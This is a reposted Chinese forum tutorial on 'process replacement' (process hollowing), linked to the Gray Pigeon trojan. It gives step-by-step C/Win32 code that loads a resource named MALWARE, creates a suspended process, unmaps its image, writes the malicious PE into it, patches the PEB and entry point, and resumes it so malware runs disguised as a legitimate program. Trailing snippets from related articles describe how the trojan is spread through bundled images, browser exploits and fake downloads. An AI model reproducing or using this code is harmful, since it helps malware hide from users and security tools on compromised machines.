进程替换(灰鸽子) (转)

本文的进程替换是指将正在运行的程序的内存空间用恶意代码替换掉. 如果被替换的进程是合法的进程, 那么恶意代码可以披着合法的外衣干坏事了. 当然坏事干多了还是会被发现的.

替换的过程如下:
1. 创建一个挂起状态(SUSPEND)的进程, 此时进程的主线程还未开始运行.
2. 读取主线程的上下文(CONTEXT), 并读取新创建进程的基址.
3. 使用NtUnmapViewOfSection将新创建的进程的内存空间释放掉, 随后可以开始填充恶意代码.
4. 设置主线程的上下文, 启动主线程.

一. 我将恶意代码当成资源文件, 所以先将资源文件加载到内存中.

代码:

  LPVOID ExtractRes(HMODULE hModule)
  {
    HRSRC hResInfo;
    HGLOBAL hResData;
    LPVOID lpResLock;
    DWORD dwSize;
    LPVOID lpAddr;

    hResInfo = FindResource(hModule, MAKEINTRESOURCE(101), _T("MALWARE"));
    hResData = LoadResource(hModule, hResInfo);
    lpResLock = LockResource(hResData);
    dwSize = SizeofResource(hModule, hResInfo);
    lpAddr = VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(lpAddr, lpResLock, dwSize);

    return lpAddr;
  }

二. 此时lpAddr指向恶意代码的基址, 大小是dwSize. 创建一个挂起状态的进程, 用CREATE_SUSPENDED指定.

代码:

  STARTUPINFO si;
  PROCESS_INFORMATION pi;

  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));
  if (CreateProcess(cAppName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,  NULL, NULL,  &si, &pi) == 0)
  {
    return -1;
  }

三. 读取主线程的上下文, 用于恢复线程启动时使用. 此时需要读取新创建进程的基址, 用于NtUnmapViewOfSection函数.
  读取基址的方法: 此时context中的EBX是指向PEB的指针, 而在PEB偏移是8的位置存放了基址. 由于PEB在新创建的进程的内存空间需要使用ReadProcessMemory来读取.

代码:

  CONTEXT context;
  context.ContextFlags = CONTEXT_FULL;
  if (GetThreadContext(pi.hThread, &context) == 0)
  {
    return -1;
  }

  // EBX points to PEB, offset 8 is the pointer to the base address
  if (ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Ebx + 8), &dwVictimBaseAddr, sizeof(PVOID), NULL) == 0)
  {
    return -1;
  }

四. 使用NtUnmapViewOfSection函数释放内存空间, 然后在该空间申请一块空间用于存放恶意代码. 
    基址是pNtHeaders->OptionalHeader.ImageBase, 大小是pNtHeaders->OptionalHeader.SizeOfImage.

代码:

  typedef ULONG (WINAPI *PFNNtUnmapViewOfSection) (HANDLE ProcessHandle, PVOID BaseAddress);
  HMODULE hNtModule = GetModuleHandle(_T("ntdll.dll"));
  if (hNtModule == NULL)
  {
    hNtModule = LoadLibrary(_T("ntdll.dll"));
    if (hNtModule == NULL)
    {
      return -1;
    }
  }

  PFNNtUnmapViewOfSection pfnNtUnmapViewOfSection = (PFNNtUnmapViewOfSection)GetProcAddress(hNtModule, "NtUnmapViewOfSection");
  if (pfnNtUnmapViewOfSection == NULL)
  {
    return -1;
  }

  pfnNtUnmapViewOfSection(pi.hProcess, (PVOID)dwVictimBaseAddr);
  
  lpNewVictimBaseAddr = VirtualAllocEx(pi.hProcess,
            (LPVOID)pNtHeaders->OptionalHeader.ImageBase,
            pNtHeaders->OptionalHeader.SizeOfImage,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);

五. 向新申请的空间写入恶意代码.

代码:

  // Replace headers
  WriteProcessMemory(pi.hProcess, lpNewVictimBaseAddr, lpMalwareBaseAddr, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

  // Replace each sections
  LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)lpMalwareBaseAddr + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
  PIMAGE_SECTION_HEADER pSectionHeader;
  for (idx = 0; idx < pNtHeaders->FileHeader.NumberOfSections; ++idx)
  {
    pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
    WriteProcessMemory(pi.hProcess,
      (LPVOID)((DWORD)lpNewVictimBaseAddr + pSectionHeader->VirtualAddress),
      (LPCVOID)((DWORD)lpMalwareBaseAddr + pSectionHeader->PointerToRawData),
      pSectionHeader->SizeOfRawData,
      NULL);
    lpSectionBaseAddr = (LPVOID)((DWORD)lpSectionBaseAddr + sizeof(IMAGE_SECTION_HEADER));
  }

  // Replace the base address in the PEB
  DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;
  WriteProcessMemory(pi.hProcess, (LPVOID)(context.Ebx + 8), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL);

六. 设置上下文, 并启动主线程. 需要注意的是, 程序的入口点是放在EAX寄存器中的.

代码:

  // Replace Entry Point Address
  context.Eax = dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
  SetThreadContext(pi.hThread, &context);
  ResumeThread(pi.hThread);

七. 此时恶意代码开始执行.*转载请注明来自看雪论坛@PEdiy.com

时间: 2024-11-05 06:08:25

进程替换(灰鸽子) (转)的相关文章

灰鸽子木马病毒分析

简介: 灰鸽子木马分为两部分:客户端和服务端. 黑客操控者客户端,利用客户端配置生成出一个服务端程序.服务端文件的名字默认为G_Server.exe,然后打开后门.开后门的手段有很多,比如,黑客可以将它与一张图片绑定,诱骗运行:也可以建立一个个人网页,诱骗点击,利用IE漏洞把木马下载到你的机器上并运行:还可以将文件上传到某个软件下载地点,诱骗用户下载. 运行过程: G_Server.exe运行后将自己拷贝到Windows目录下(98/xp下为系统盘的windows目录,2k/NT下为系统盘的Wi

Linux系统编程——进程替换:exec 函数族

在 Windows 平台下.我们能够通过双击运行可运行程序.让这个可运行程序成为一个进程:而在 Linux 平台.我们能够通过 ./ 运行,让一个可运行程序成为一个进程. 可是,假设我们本来就执行着一个程序(进程),我们怎样在这个进程内部启动一个外部程序.由内核将这个外部程序读入内存,使其执行起来成为一个进程呢?这里我们通过 exec 函数族实现. exec 函数族.顾名思义.就是一簇函数,在 Linux 中,并不存在 exec() 函数.exec 指的是一组函数.一共同拥有 6 个: [cpp

经典灰鸽子lcx

方法1路由配置 在路由器配置 进入虚拟服务器 填入ip 端口 就可以了方法2内网域名解析想以前的花生客 科迈都有这项免费业务但现在基本不提供了如果那个网站还有内网解析的功能 大家一定要发上来哦方法3portmap先增加一个配置 填入输入的ip和端口.输出ip和端口然后点远程作为公网映射的ip与系统用户名和密码即可方法49999断口用s扫描器扫到9999端口 然后结合下面的方法7将扫到的机器用灰鸽子内网映射器进行映射方法5用lcx.exe进行映射将lcx.exe上传到公网机器上在公网机器的cmd下

shell 进程替换

进程替换和命令替换非常相似.命令替换是把一个命令的输出结果赋值给另一个变量,例如dir_files=`ls -l`或date_time=$(date):而进程替换则是把一个命令的输出结果传递给另一个(组)命令. 0.shell进程替换的用法 写法 含义 注意点 本质 <(commands) 它借助于输入重定向,可以将它的输出结果作为另一个命令的输入 commands 是一组命令列表,多个命令之间以分号;分隔.注意,<或>与圆括号之间是没有空格的. /dev/fd/n文件接受(comman

exec替换进程印象

概述 在进程的创建上UNIX/Linux采用了一个独特的方法,它将进程创建与加载一个新进程映象分离(system系统调用则将这两种操作合并).这样的好处是有更多的余地对两种操作进行管理. 当我们创建了一个进程之后,通常将子进程替换成新的进程映象,这可以用exec系列的函数来进行.当然,exec系列的函数也可以将当前进程替换掉(不调用fork,直接调用exec). 函数族[map page]信息 #include <unistd.h> extern char **environ; int exe

替换进程映像 - exec系列函数

exec系列函数由一组相关的函数组成,它们在进程的启动方式和程序参数的表达方式上各有不同.exec函数可以把当前进程替换为一个新进程,新进程由patch或file参数指定.你可以使用exec函数将程序的执行从一个程序切换到另一个程序.例如,你可以在启动另一个有着受限使用策略的程序前,检查用户的凭证.exec函数比system函数更有效,因为在新的程序启动后,原来的程序就不再运行了. 替换进程映像 - exec系列函数

进程隐藏的方法

最基本的隐藏:不可见窗体+隐藏文件 木马程序无论如何神秘,但归根究底,仍是Win32平台下的一种程序.Windows下常见的程序有两种: 1.Win32应用程序(Win32 Application),比如QQ.Office等都属于此行列. 2.Win32控制台程序(Win32 Console),比如硬盘引导修复程序FixMBR. 其中,Win32应用程序通常会有应用程序界面,比如系统中自带的"计算器"就有提供各种数字按钮的应用程序界面.木马虽然属于Win32应用程序,但其一般不包含窗体

关于父进程和子进程的关系(UAC 绕过思路)

表面上看,在windows中.如果是a进程创建了b进程,那么a进程就是b进程的父进程,反之,如果是b创建了a,那么b进程就是a的父进程,这是在windows出现以来一直是程序猿们都证实的,但是在在win Vista后面有了一个新安全消息机制,UAC(user account control),这里科普下UAC的功能,其实UAC就是大家常见的安装软件或者启动程序的时候的出现的全屏变暗的一个提示框,这里顺便提醒下大家不要把它的提醒级别降低,这里大家不要蓄意把他的提示级别较低,这样会带来很大的安全隐患

第五课 进程管理

unix_c_05.txt================第五课 进程管理================一.基本概念------------1. 进程与程序~~~~~~~~~~~~~1) 进程就是运行中的程序.一个运行着的程序,可能有多个进程.进程在操作系统中执行特定的任务.2) 程序是存储在磁盘上,包含可执行机器指令和数据的静态实体.进程或者任务是处于活动状态的计算机程序.2. 进程的分类~~~~~~~~~~~~~1) 进程一般分为交互进程.批处理进程和守护进程三类.2) 守护进程总是活跃的